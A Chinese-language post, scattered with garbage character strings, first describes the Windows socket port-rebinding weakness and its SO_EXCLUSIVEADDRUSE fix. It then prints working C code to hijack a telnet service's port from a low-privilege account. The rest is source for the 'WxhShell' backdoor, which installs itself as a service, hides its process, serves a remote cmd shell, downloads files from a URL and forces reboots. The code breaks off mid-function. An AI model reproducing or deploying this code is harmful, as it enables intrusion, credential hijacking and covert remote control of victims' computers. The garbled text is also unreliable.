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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %1a\"F![ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n_sCZ6uXEQ @v_ ) ( saddr.sin_family = AF_INET; draY/ s$J0^8Q~i saddr.sin_addr.s_addr = htonl(INADDR_ANY); jR\&2;T ?n>h/[/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )Ve?1?s '8 He. gl 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ZffK];D Z ) qc-~S 这意味着什么?意味着可以进行如下的攻击: s2riayM9/
cF3V{b|bU 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n
!]_o ^KhA\MzY 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qYZX,
x {e0cc1Up} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #, W7N_mt !.H< dQS 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 f{AbCi 8-UlbO6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^tIs57! ko*Ir@SDv 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <H`&Zqqk SaMg)s~B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a,U[$c a,x-akZWf #include (S* T{OgO #include :o?On/ #include u.x>::i& #include i]a 5cn DWORD WINAPI ClientThread(LPVOID lpParam); rg)>ZHx int main() x6\EU=, { jQ@z!GirT WORD wVersionRequested; R}>xpU1 DWORD ret; CEq0ZL-W WSADATA wsaData; CWdA8)n. BOOL val; %WiDz0o SOCKADDR_IN saddr; 5Jh=${ SOCKADDR_IN scaddr; ='a[(C&Y int err; e<6fe-g9; SOCKET s; lt`(R*B% SOCKET sc; ({i}EC7{ int caddsize; QI'ul e HANDLE mt; t J
N;WK.6 DWORD tid; /]=Ih wVersionRequested = MAKEWORD( 2, 2 ); aFGEHZJQ err = WSAStartup( wVersionRequested, &wsaData ); S*VG;m# if ( err != 0 ) {
O@6iG printf("error!WSAStartup failed!\n"); Pp3<K649 return -1; |RS9N_eRt } DKnjmZ:J| saddr.sin_family = AF_INET; _TY9!:&}q {DJ!T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \]dx;,T S\b[Bq saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CtJ*:wF saddr.sin_port = htons(23); F=!p7msRB if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) luRtuXn[8 { ~VYZu=p printf("error!socket failed!\n"); cw|3W] return -1; {z>fe
} } S#_g/3w val = TRUE; ;NQ9A &$) //SO_REUSEADDR选项就是可以实现端口重绑定的 9z6-HZG'~< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u:JD { T1 >xw4uo printf("error!setsockopt failed!\n"); ?XN=Er^ return -1; 8'[g? } }5
^2g!M //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gpDH_!K //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y:u7*%" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o.W:R Ux O?5uCh$H if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Cl#PYB{1Y { W6J%x[>Z ret=GetLastError(); :@#9P," printf("error!bind failed!\n"); ZFwUau return -1; uNSaw['0j } @a2n{ listen(s,2); "`HkAW4GZa while(1) 4Bg"b/kF { [Z9
lxZ| caddsize = sizeof(scaddr); Tq{+9+ //接受连接请求 dZ}gf}.v sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `Cq&;-u if(sc!=INVALID_SOCKET) 9'+Eu)l: { "g27|e?y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zGgPW if(mt==NULL) p_%dH { -E{D'X printf("Thread Creat Failed!\n"); )N$T& break; 5"5!\Zo } 4A0
,N8ja} } San3^uX CloseHandle(mt); QL/I/EgqC } %d?.v_Hu0 closesocket(s); S;@nPzhc WSACleanup(); vDI$
QUMD6 return 0; t7GK\B8: } 1%Hc/N- DWORD WINAPI ClientThread(LPVOID lpParam) jHjap:i`cI { Nl/^ga SOCKET ss = (SOCKET)lpParam; r+v?~m! SOCKET sc; j=|cx+nb unsigned char buf[4096]; MXQua:&HW SOCKADDR_IN saddr; wNc.z*+O"H long num; $O
nh2
^ DWORD val; ]q^6az(Ud DWORD ret; ?
nx3#< //如果是隐藏端口应用的话,可以在此处加一些判断 K(jo [S //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 k7, saddr.sin_family = AF_INET; U<<@(d%T saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ozaM!e e\z saddr.sin_port = htons(23); PU8>.9x if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u%m,yPU~B { RfoEHN printf("error!socket failed!\n"); j-]`;&L return -1; 7pPaHX8 } h;TN$ / val = 100; -sjyv/%_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )LC"rSNx% { /=5:@ ret = GetLastError(); ya3k;j2C return -1; YMSZcI } tKS'#y!R if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F/%M`?m"ie { oRkh>yj' ret = GetLastError(); U80h0t% return -1; wWkMvs } ?iXN..6x if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8MQb5( ! { I9
(6 printf("error!socket connect failed!\n"); WwDd62g closesocket(sc); @T.+:U@S closesocket(ss); J2ZV\8t return -1; ohU}ST:9 } '`s+e#rs4{ while(1) r>ziQq8C& { X!xmto //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XoNBq9Iu //如果是嗅探内容的话,可以再此处进行内容分析和记录 IL>VH`D //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
wK]p`:3 num = recv(ss,buf,4096,0); {,+{,Ere if(num>0) 8sus$:Ry send(sc,buf,num,0); _DouVv> else if(num==0) Q{[l1: break; 6 2:FlW> num = recv(sc,buf,4096,0); !jWE^@P/B if(num>0) s$gR;su)g send(ss,buf,num,0); Xb<>AzEM else if(num==0) 7Is:hx|: break; ]9$iUA%Ef } a^o'KN{ closesocket(ss); LvqWA} closesocket(sc); +)xjw9b return 0 ; *fCmZ$U:{ } q0C%">>1# d/Sw.=vq @WCA7DW! ========================================================== }]i.z:7+ FG!2h&k 下边附上一个代码,,WXhSHELL |:w)$i& * I>EEUQR/$H ========================================================== ^UCH+Cyl G^|!'V #include "stdafx.h" vf5q8/a 6Ki!j< #include <stdio.h> 9-+N;g!q #include <string.h> +OI <0 #include <windows.h> xp? YM35 #include <winsock2.h> ;kzjx%h #include <winsvc.h> nIr:a|}[ #include <urlmon.h> s*Nb=v.e9 bj6;>Ezp3( #pragma comment (lib, "Ws2_32.lib") d&* c3F #pragma comment (lib, "urlmon.lib") 2@N9Zk{{J %Q]3`kxp #define MAX_USER 100 // 最大客户端连接数 ^H0#2hFa #define BUF_SOCK 200 // sock buffer e9R H[: #define KEY_BUFF 255 // 输入 buffer 'NMO>[. O9P+S|hcY #define REBOOT 0 // 重启 Zg%tN#6y #define SHUTDOWN 1 // 关机 n:[@#xs- @>,GCuPrm #define DEF_PORT 5000 // 监听端口 VOJ/I Dl 4 #;[0:jU0 #define REG_LEN 16 // 注册表键长度 h/Yxm2 #define SVC_LEN 80 // NT服务名长度
kRjNz~g uBK0+FLL@ // 从dll定义API ]Twyj typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I_m3|VCa|t typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5Gs>rq" # typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d6a3\f typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); to'CuPkT ypgM&"eR // wxhshell配置信息 Uc,MZV4 struct WSCFG { 0xx4rpH int ws_port; // 监听端口 fK6[ p& char ws_passstr[REG_LEN]; // 口令 "} "/d( int ws_autoins; // 安装标记, 1=yes 0=no qSGM6kb char ws_regname[REG_LEN]; // 注册表键名 ! 1Hs;K char ws_svcname[REG_LEN]; // 服务名 ?fN6_x2e3 char ws_svcdisp[SVC_LEN]; // 服务显示名 's.e"F# char ws_svcdesc[SVC_LEN]; // 服务描述信息 NB4Q,iq$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UZdGV?o ? int ws_downexe; // 下载执行标记, 1=yes 0=no tI@aRF=p]2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" XzPOqZ`Nv char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F$-f j "jC #M||t|9iu? }; J'ZC5Xr #UE}JR3g // default Wxhshell configuration 'ieTt_1.G struct WSCFG wscfg={DEF_PORT, ^J&D)&"j "xuhuanlingzhe", :C>iV+B j 1, C1fd@6 "Wxhshell", b}DC|?~M "Wxhshell", gW<6dP'v "WxhShell Service", qyxd9Lk1 "Wrsky Windows CmdShell Service", Gy[anDE& "Please Input Your Password: ", D>8p:^3g 1, O,Tp,wT " http://www.wrsky.com/wxhshell.exe", ==
E8^jYJw "Wxhshell.exe" Xt:$H6
y }; lu00@~rx/ b*Q3j}c Z // 消息定义模块 Qd~z<U l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q 'd] char *msg_ws_prompt="\n\r? for help\n\r#>"; 064k;|>D char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; b*(K;`9)B char *msg_ws_ext="\n\rExit."; Yn[>Y) char *msg_ws_end="\n\rQuit."; c9G%;U) char *msg_ws_boot="\n\rReboot..."; (5@H<c^6 char *msg_ws_poff="\n\rShutdown..."; X0iy char *msg_ws_down="\n\rSave to "; !uoT8BBAk oN[}i6^,e char *msg_ws_err="\n\rErr!"; ]tXIe?>9 char *msg_ws_ok="\n\rOK!"; `<|tC#<z 2*<Zc|uNW char ExeFile[MAX_PATH]; 8h0C G] int nUser = 0; ilde<!? HANDLE handles[MAX_USER]; ImG8v[Q
E int OsIsNt; hsQDRx%H} ht*(@MCr< SERVICE_STATUS serviceStatus; \i/HHP[% SERVICE_STATUS_HANDLE hServiceStatusHandle; 1)^\R(l = // 函数声明 IA<>+NS int Install(void); vQ*RrHG?c int Uninstall(void); `kJ)E;v;3 int DownloadFile(char *sURL, SOCKET wsh); Pjk2tf0j` int Boot(int flag); ]E-3/r$_cO void HideProc(void); Q
8Hl7__^ int GetOsVer(void); PDPK|FU int Wxhshell(SOCKET wsl); P))BS void TalkWithClient(void *cs); p5$}h,7 int CmdShell(SOCKET sock); QRvyaV int StartFromService(void); 6`7tTn?n int StartWxhshell(LPSTR lpCmdLine); #2s}s<Sc; ZM})l9_o" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \c<;!vkZ04 VOID WINAPI NTServiceHandler( DWORD fdwControl ); rH!sImz, _]33Ht9 // 数据结构和表定义 ~N i SERVICE_TABLE_ENTRY DispatchTable[] = z]r'8Jc { v@|<. {wscfg.ws_svcname, NTServiceMain}, ~h_
_Y> {NULL, NULL} u.|%@ }; \wD/TLS} 0uIY6e0E // 自我安装 AwXzI;F^ int Install(void) L'r&'y[ { 41Z@_J|& char svExeFile[MAX_PATH]; *ma
w`1 HKEY key; 5\# F5s} strcpy(svExeFile,ExeFile); %SOXw8- r@}`Sw]@ // 如果是win9x系统,修改注册表设为自启动 t 8 6w& if(!OsIsNt) {
NdRcA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LT<2 n.S
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e2v`
RegCloseKey(key); {h|<qfH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~1D^C |% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r) x RegCloseKey(key); ,\J 8(,%L return 0; 1R3,Z8j' } !DzeJWM| } ru@#s2 } PkrVQH9^w else { 9:4S[mz/hD w.w{L=p:<" // 如果是NT以上系统,安装为系统服务 x)*Lu"> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 72d|Jbd if (schSCManager!=0) &RYdSXM { _]OY[&R SC_HANDLE schService = CreateService QZ l#^-on ( tO{{ci$-T schSCManager, !h4T3sO wscfg.ws_svcname, :c~SH/qS wscfg.ws_svcdisp, TL2E|@k1] SERVICE_ALL_ACCESS, @>Yd6C SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R1X'}#mU SERVICE_AUTO_START, D#L(ZlD4 SERVICE_ERROR_NORMAL, q4[8\Ua svExeFile, {6H[[7i NULL, }lIc{R@H NULL, V*b/N NULL, Cu8mN B{H NULL, 3~T ~Bs NULL ekvs3a^ ); B^/MwD>% if (schService!=0) #zTy7ZS,0 { a*y9@RC} CloseServiceHandle(schService); a~7D4G CloseServiceHandle(schSCManager); `s)4F~aVo strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V?j,$LixY strcat(svExeFile,wscfg.ws_svcname); (p{%]M if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u -t=M] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -}%J3j|R: RegCloseKey(key); J)YlG* return 0; OW@%H;b } Jz`jN~ } BDI@h%tJb: CloseServiceHandle(schSCManager); ,gVVYH?qR } E`oA(x7l } -`I|=lBz{H Cw+boB_tip return 1; ?YW~7zG } 3W7^,ir :awkhx // 自我卸载 OP1`!P y int Uninstall(void) ^$: w { qR'FbI HKEY key; !b+4[xky Zu.hcDw1 if(!OsIsNt) { ,!l _ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &`I(QY RegDeleteValue(key,wscfg.ws_regname); T&_&l;syA RegCloseKey(key); #gQn3.PX+y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ByY2KJ7 RegDeleteValue(key,wscfg.ws_regname); RqTO3Kf RegCloseKey(key); 8TFQ%jv return 0; wnokP } Ei_~K'; } cF8
2wg } _/LGGt4&% else { |T6K?:U7 [Kwj
7q` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ie6c/5 if (schSCManager!=0) %*gf_GeM { J=^IS\m SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =:&xdphZ+ if (schService!=0) .J75bX5 { b]]8Vs)' if(DeleteService(schService)!=0) { J#..xJ?XRD CloseServiceHandle(schService); fs
ufYIf CloseServiceHandle(schSCManager); 8:{id>Mm^ return 0;
77@N79lqO } !"F;wg$ CloseServiceHandle(schService); ,/w*sE } ~(V\.hq CloseServiceHandle(schSCManager); L[Vk 6e } *SNdU^! } \P.h;|u G]=z
![$ return 1; _Q5mPBO } 1(o\GI3: p/<DR| // 从指定url下载文件 ]lC%HlID int DownloadFile(char *sURL, SOCKET wsh) M-^I! C { g,+e3f HRESULT hr; X`D2w: char seps[]= "/"; h-P|O6@Ki char *token; V\Cl""`XN char *file; Y*c]C;%= char myURL[MAX_PATH]; 2l)"I char myFILE[MAX_PATH]; .H)H9cmf dTg`z,^F strcpy(myURL,sURL); /]`@.mZ9: token=strtok(myURL,seps); U+!RIF[Je while(token!=NULL) q}P@}TE { %l7[eZ{Y file=token; QXkA%'@' token=strtok(NULL,seps); z;qDl%AF } StI
N+S@Z sC-o'13 GetCurrentDirectory(MAX_PATH,myFILE); ^#:;6^Su strcat(myFILE, "\\"); 072C!F strcat(myFILE, file); IA` voO$ send(wsh,myFILE,strlen(myFILE),0); 8TP$ ?8l send(wsh,"...",3,0); )=~&l={T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NpH8=H9 if(hr==S_OK) :lB*km g return 0; x0<;Rm [u= else .#yg=t1C return 1; EsGu#lD2 lMY\8eobcB } '3>;8(sl XKjrS
9: // 系统电源模块 Ljy797{f int Boot(int flag) K{ P-+( { #kC~qux^ HANDLE hToken; ,sL'T[tuiU TOKEN_PRIVILEGES tkp; Yqs=jTq`{ R0-0 if(OsIsNt) { c[Fc3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G)7U&B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 60+ zoL' tkp.PrivilegeCount = 1; 6^b)Q(Edut tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ukR0E4p AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XJ<"S
p if(flag==REBOOT) { \L*%?~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O)dnr8* return 0; 6 eSo.@*l } CQWXLQED> else { DsHF9Mn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D]@(LbMG4 return 0; J8:s=#5 } C7%R2>}?f } tRoSq;VrS else { At.&$ t if(flag==REBOOT) { ;73S;IPR if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2)=whnFS return 0; eGEwXza 4 } Jh\KVmfXN else { rRe5Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f-F=!^. return 0; +fVv H } 1bV
G%N } D:@W*, #`SAc`:n return 1; f+ r>ur}\) } {>ba7-Cy+y {"wF;*U.V // win9x进程隐藏模块 ZG=]b% void HideProc(void) <X8Urum { SP%X@~d :xsZz$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `PUqz& if ( hKernel != NULL ) i-CJ{l { V(&L pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *u$aItx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Dmh$@Uu#F FreeLibrary(hKernel); 1mmL`M1 } -gs
I:-Xo o-8{C0>: return; gNZwD6GMe? } 3WwS+6R Dge#e // 获取操作系统版本 >6C\T@{lJ int GetOsVer(void) !BoGSI { \g34YY^L3 OSVERSIONINFO winfo; )g:5}+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p cLKE
ZK GetVersionEx(&winfo); L2VwW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ko}& X= return 1; ;<FAcR else )la3GT*1mS return 0; +-!3ruwSn } d*6f,z2= :BxO6@>Xc // 客户端句柄模块 H1-DK+Q: int Wxhshell(SOCKET wsl) BwHJr(n { )9 Q+07 SOCKET wsh; ,kJ'_mq struct sockaddr_in client; ,l&?%H9q DWORD myID; P@O_MT =i)%AnZ^9 while(nUser<MAX_USER) \92M\S { q{9vY:`[ int nSize=sizeof(client); NO*,}aeG wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
:a*>PMTn if(wsh==INVALID_SOCKET) return 1; vC,FE
)' T, #-: } handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vg$d|m${ if(handles[nUser]==0) F+*E}QpM closesocket(wsh); 6[t<g= else ~ikp'5 nUser++; ?62zv[# } hrniZ^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [+WsVwyf? mu
B Y return 0; ?w/p 9j# } |lLe^FM a#1r'z~]} // 关闭 socket KGJSGvo+y void CloseIt(SOCKET wsh) KF7w{A){ { D*.3]3-I closesocket(wsh); Oem1=QpaC nUser--; ~|KqG ExitThread(0); R6<'J?k } -)-:rRx- T.#_v#oM // 客户端请求句柄 rRevyTs void TalkWithClient(void *cs) 8J,^O04< { `O7vPE ]{tWfv|Xg8 SOCKET wsh=(SOCKET)cs; :Ou~?q%X char pwd[SVC_LEN]; ^?e[$} char cmd[KEY_BUFF]; 91z=ou char chr[1]; jZIT[HM int i,j; cs2-jbRn
'Ft81e)/ while (nUser < MAX_USER) { XB'rh F8rl oN}\bK if(wscfg.ws_passstr) { :awa if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }e7/F[c.U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1'~+.92Y //ZeroMemory(pwd,KEY_BUFF); 4s
m [y8 i=0; i<S\x while(i<SVC_LEN) { -(57C*#ap g;Fdm5Q // 设置超时 /,:cbpHsu fd_set FdRead; UW":&`i struct timeval TimeOut; H'S~GP4D FD_ZERO(&FdRead); m&A bH&; FD_SET(wsh,&FdRead); Cnpl0rV~5 TimeOut.tv_sec=8; 7UBW3{d/u5 TimeOut.tv_usec=0; -F`gRAr- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .x$V~t if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E`N` k8E2?kbF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uhq6dhhR pwd =chr[0]; 9ZOQNN<ex if(chr[0]==0xd || chr[0]==0xa) { _
(b4|hJ' pwd=0; Wda?$3!^q break; @%g:'^/ } gB#!g@ i++; ${Lrj}93 } ~/4j&IG ~JZLWTEe // 如果是非法用户,关闭 socket eZ)
|m if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O#tmB?n* } tln}jpCw <c@dE send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4P Sbr$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TFbc@rfB n}NUe`E_h while(1) { tqA-X[^ oItC;T ZeroMemory(cmd,KEY_BUFF); R?:K\ V,ZRX}O // 自动支持客户端 telnet标准 KXTk.\c j=0; P3bRv^ while(j<KEY_BUFF) { CEk[&39" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GF9iK|i/ cmd[j]=chr[0]; iMVQt1/ if(chr[0]==0xa || chr[0]==0xd) { "=?JIQ cmd[j]=0; e>Q:j_?.e break; PJb/tKC } f:q2JgX j++; \ bNDeA&l } zV$Z@o @ &c@ // 下载文件 \(Dm\7Q. if(strstr(cmd,"http://")) { '(ETXQ@ send(wsh,msg_ws_down,strlen(msg_ws_down),0); @bkSA if(DownloadFile(cmd,wsh)) K0*er send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6mZpyt else x =JZ"|TE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aS3-A4 } 1b=\l/2 else { }8.$)&O$^ _z^&zuO switch(cmd[0]) { ^CwS'/fdN Z1H // 帮助 =w7k@[Bq case '?': { >taT
V_, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R{4[. break; v]drDVJ
} yaj1nq!*" // 安装 Gd&G*x case 'i': { i/N6 8 if(Install()) .:['&; k send(wsh,msg_ws_err,strlen(msg_ws_err),0); eF8um$t9 else bB.nevb9p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G* mLb1 break; o,1Fzdh6( } uN9.U _ // 卸载 arPqVMVr case 'r': { IOUzj{G# if(Uninstall()) K!jau|FS send(wsh,msg_ws_err,strlen(msg_ws_err),0); +/*A}!#v else w RTzpG4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NLWj5K)1P break; 9LEUj } $<wU>X // 显示 wxhshell 所在路径 K0^+2lx case 'p': { >*w(YB]/$V char svExeFile[MAX_PATH]; d cht8nX7~ strcpy(svExeFile,"\n\r"); 5PHAd4=bJ strcat(svExeFile,ExeFile); wd:SBU~f5* send(wsh,svExeFile,strlen(svExeFile),0); vP<8,XG break; \]/6>yT } !ImtnU} // 重启 \4q1<j case 'b': { e3&.RrA send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZONe}tv: if(Boot(REBOOT)) n]Jfd I send(wsh,msg_ws_err,strlen(msg_ws_err),0); +>h'^/rAE else { vw
q Y;7 closesocket(wsh); 5|[\Se# ExitThread(0); BYDOTy/%nJ } Se5jxV break; LTY(6we- } S1$& // 关机 V,9UOC,Gn case 'd': { BI)$aR send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yv;18j*< if(Boot(SHUTDOWN)) k3"Y!Uha: send(wsh,msg_ws_err,strlen(msg_ws_err),0); _{gRCR) else { [=xO> closesocket(wsh); Y1FP |
ExitThread(0); {,m W7 } l3/?,xn break; 9s6d+HhM } qxwD4L`S // 获取shell *C(XGX\?- case 's': { FU~:9EEx CmdShell(wsh); 0jwex closesocket(wsh); blB00 ExitThread(0); 4[]4KKO3Q2 break; @xtfm.} } au1(.( // 退出 C@
z^{Z+ case 'x': { \xaK?_hv send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g*#.yC1/ CloseIt(wsh); &mvC<_1n break; of:xj$dQ_ } E^jb#9\R // 离开 X6@G)68 case 'q': { Ik|nL#JH] send(wsh,msg_ws_end,strlen(msg_ws_end),0); E>SLR8!Cv closesocket(wsh); PM%Gsy]q WSACleanup(); *9Nq^+ exit(1); Yf(QU`w_ break; Go_~8w0< } vvG#O[| O } *]
cm{N } 2V#(1Hc! .),m7"u| // 提示信息 _gF )aE if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dx27 s } f?A*g$v } i/UHDqZ i~6qOlLD- return; &<sDbNS } DrB PC@^ H6XlSj // shell模块句柄 )W/mt[; int CmdShell(SOCKET sock) V"@]PI pr { 4HK#]M>yz STARTUPINFO si; ceR zHq= ZeroMemory(&si,sizeof(si)); l;SqjkN si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; anTS8b
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +
>oA@z PROCESS_INFORMATION ProcessInfo; 7,2bR char cmdline[]="cmd"; Ie~#k[X CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J_A5,K*r| return 0; I vQ]-A}N } zj^Ys`nl (TV ye4Z // 自身启动模式 ,$96bF "# int StartFromService(void) }Z_w8+BZ { N?h=Zl| typedef struct 1^zpO~@S { AVA
hS}*t DWORD ExitStatus; j9YI6X" DWORD PebBaseAddress; gG^K\+S DWORD AffinityMask; -Ug DWORD BasePriority; =:zmF]j9 ULONG UniqueProcessId; vo[Zuv?<h ULONG InheritedFromUniqueProcessId; ^MGgFS]G } PROCESS_BASIC_INFORMATION; qqSf17sW <o";?^0Q PROCNTQSIP NtQueryInformationProcess; ^{GnEqml& c?{&=,u2 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .ns1;8 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [ENm(e$sI &!#a^d+` 0 HANDLE hProcess; .j}dk.#h PROCESS_BASIC_INFORMATION pbi; :U>o; Dxu2rz!li- HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uf (`I if(NULL == hInst ) return 0; 9BPucXK #AzZ4<;7 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wTGH5}QZ+ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 